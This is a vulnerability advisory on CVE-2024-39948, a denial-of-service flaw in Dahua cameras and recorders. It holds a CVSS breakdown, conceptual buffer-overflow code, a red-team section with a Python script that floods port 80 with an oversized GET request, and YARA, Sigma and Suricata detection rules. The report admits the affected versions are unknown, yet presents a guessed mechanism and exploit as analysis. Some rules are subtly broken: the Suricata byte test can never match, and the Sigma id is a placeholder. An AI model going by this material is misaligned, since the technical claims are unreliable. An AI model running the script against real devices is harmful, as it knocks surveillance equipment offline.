CVE-2024-39948

Executive Summary

CVE-2024-39948 is a high-severity vulnerability affecting Dahua products. The flaw allows an unauthenticated, remote attacker to send specially crafted data packets to a vulnerable interface, causing the device to crash (Denial of Service). With a CVSS score of 7.5, this vulnerability poses a significant risk to availability, as it can be exploited without authentication or user interaction. The exact vulnerable versions and patch status remain unknown, but the attack vector is network-based and requires low complexity. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability (device crash).
• Threat Level: High – Remote, unauthenticated DoS with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the handling of network packets by Dahua devices. The device fails to properly validate or sanitize incoming data packets on a specific interface. An attacker can craft a packet that, when processed, triggers a memory corruption, buffer overflow, or null pointer dereference, leading to a system crash or reboot.

Technical Details:

• Root Cause: Improper input validation (CWE-20) in packet parsing logic.
• Attack Vector: Sending a sequence of malformed or oversized packets to a vulnerable service (e.g., HTTP, RTSP, or proprietary protocol).
• Impact: The device becomes unresponsive, requiring a manual power cycle to restore functionality. This can disrupt surveillance operations, physical security, and network integrity.
• Exploitability: The attack requires no prior knowledge of the device, no authentication, and can be executed from any network-accessible location.

Vulnerable vs. Patched Code

Since no patch or specific version information is available, a generic comparison is provided.

Vulnerable Code (Conceptual):

void process_packet(char *data, int len) {
    char buffer[1024];
    // No bounds checking
    memcpy(buffer, data, len);
    // Process buffer...
}

Patched Code (Conceptual):

void process_packet(char *data, int len) {
    char buffer[1024];
    if (len > sizeof(buffer)) {
        // Reject oversized packet
        return;
    }
    memcpy(buffer, data, len);
    // Process buffer...
}

The patched version adds a length check to prevent buffer overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Dahua device (e.g., IP camera, NVR) on a isolated network.
• Attacker: Kali Linux machine with network access to the target.

Exploitation Steps:

1. Identify the target device IP (e.g., 192.168.1.100).
2. Use a tool like nmap to discover open ports and services.
3. Craft a malformed packet using scapy or a custom Python script.
4. Send the packet to the vulnerable interface (e.g., port 80 for HTTP).

Example Python Exploit Script:

import socket

target_ip = "192.168.1.100"
target_port = 80

# Craft a malformed HTTP request
payload = b"GET /" + b"A" * 10000 + b" HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Expected Outcome: The device crashes or becomes unresponsive.

Blue Team (Defensive)

Detection & Response:

• Monitor network traffic for anomalous packet sizes or malformed requests.
• Implement intrusion detection systems (IDS) to alert on suspicious patterns.
• Isolate Dahua devices on a separate VLAN with strict access controls.
• Regularly check for firmware updates from Dahua.

Honeypot Deployment:

• Deploy a honeypot mimicking a Dahua device to capture attacker techniques.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large HTTP requests (e.g., >10KB).
  • Malformed packets with repeated characters (e.g., "AAAA...").
  • Traffic to/from Dahua devices on ports 80, 554, 37777, etc.
• Host IOCs:
  • Device logs showing unexpected crashes or reboots.
  • System logs with memory corruption errors.
• File IOCs:
  • No specific file hashes available.

Detection Engineering

YARA Rule

rule CVE_2024_39948_Dahua_DoS {
    meta:
        description = "Detects malformed packets targeting Dahua devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39948"
    strings:
        $malformed = /[A-Z]{100,}/  // Repeated characters
        $http_get = "GET /"
    condition:
        $http_get and #malformed > 5
}

Sigma Rule

title: CVE-2024-39948 Dahua DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic attempting to exploit CVE-2024-39948
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 80
            - 554
            - 37777
        payload_length: "> 10000"
    condition: selection
falsepositives:
    - Legitimate large data transfers
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 80,554,37777 (msg:"CVE-2024-39948 Dahua DoS Attempt"; flow:to_server,established; content:"GET /"; depth:5; byte_test:1,>,10000,0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Isolate Dahua devices on a separate VLAN with strict firewall rules.
  • Disable unnecessary services (e.g., HTTP, RTSP) if not required.
  • Monitor network traffic for anomalous patterns.
• Long-term Fix:
  • Apply firmware updates from Dahua as soon as they are released.
  • Implement network segmentation and access controls.
  • Use a Web Application Firewall (WAF) to filter malformed requests.
• Workarounds:
  • If patching is not possible, restrict access to the device to trusted IPs only.
  • Disable the vulnerable interface if it is not essential.

Valters IT
Securing Digital Frontiers